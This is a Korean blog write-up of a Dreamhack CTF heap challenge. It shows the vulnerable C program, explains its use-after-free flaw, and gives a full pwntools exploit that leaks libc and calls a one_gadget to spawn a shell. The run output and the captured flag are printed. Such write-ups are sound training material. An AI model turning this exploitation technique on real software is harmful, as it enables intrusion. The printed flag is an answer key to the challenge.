[Dreamhack] uaf_overwrite

#코딩노예#·2022년 8월 19일
0

문제 코드

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}


분석

보호 기법

 kali@kali  ~/wargame/dreamhack/uaf_overwrite  checksec uaf_overwrite
[*] '/home/kali/wargame/dreamhack/uaf_overwrite/uaf_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

코드 분석

  1. HumanRobot 구조체는 16 Byte * 3으로 크기가 같습니다.

  2. human_func() 함수와 robot_func() 함수를 보면 메모리 할당 후 초기화를 하지 않습니다.
    ⇾ 두 구조체가 크기가 같기 때문에 Human 구조체의 age에 onegadget 주소를 넣고 해제한 후 Robot 구조체를 할당하여
    fptr 함수 포인터를 호출하면 UAF 취약점에 의해 쉘이 뜨게 됩니다.

  3. robot_func() 함수를 보면 fptrNULL이 아니면 호출을 해주고 있어 onegadget을 실행시킬 수 있습니다.

  4. custom_func 함수는 size의 크기가 0x100 이상이면 메모리를 할당 하는데, 초기화를 하고 있지 않아서 UAF 취약점이 발생합니다.



익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 9867)

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))

def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))

def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))


custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

slog("libc_base", lb)
slog("one_gadget", og)

human("1", og)
robot("1")

p.interactive()


익스플로잇

익스플로잇 코드를 실행시켜보면

 kali@kali  ~/wargame/dreamhack/uaf_overwrite  python3 exploit.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 9867: Done
[+] libc_base: 0x7f3c253e8000
[+] one_gadget: 0x7f3c254f241c
[*] Switching to interactive mode
$ ls
flag
run.sh
uaf_overwrite

쉘이 뜹니다.


flag 파일을 출력해보면

$ cat flag
DH{deb9ad0e1712772c3365e202f7283114}

0개의 댓글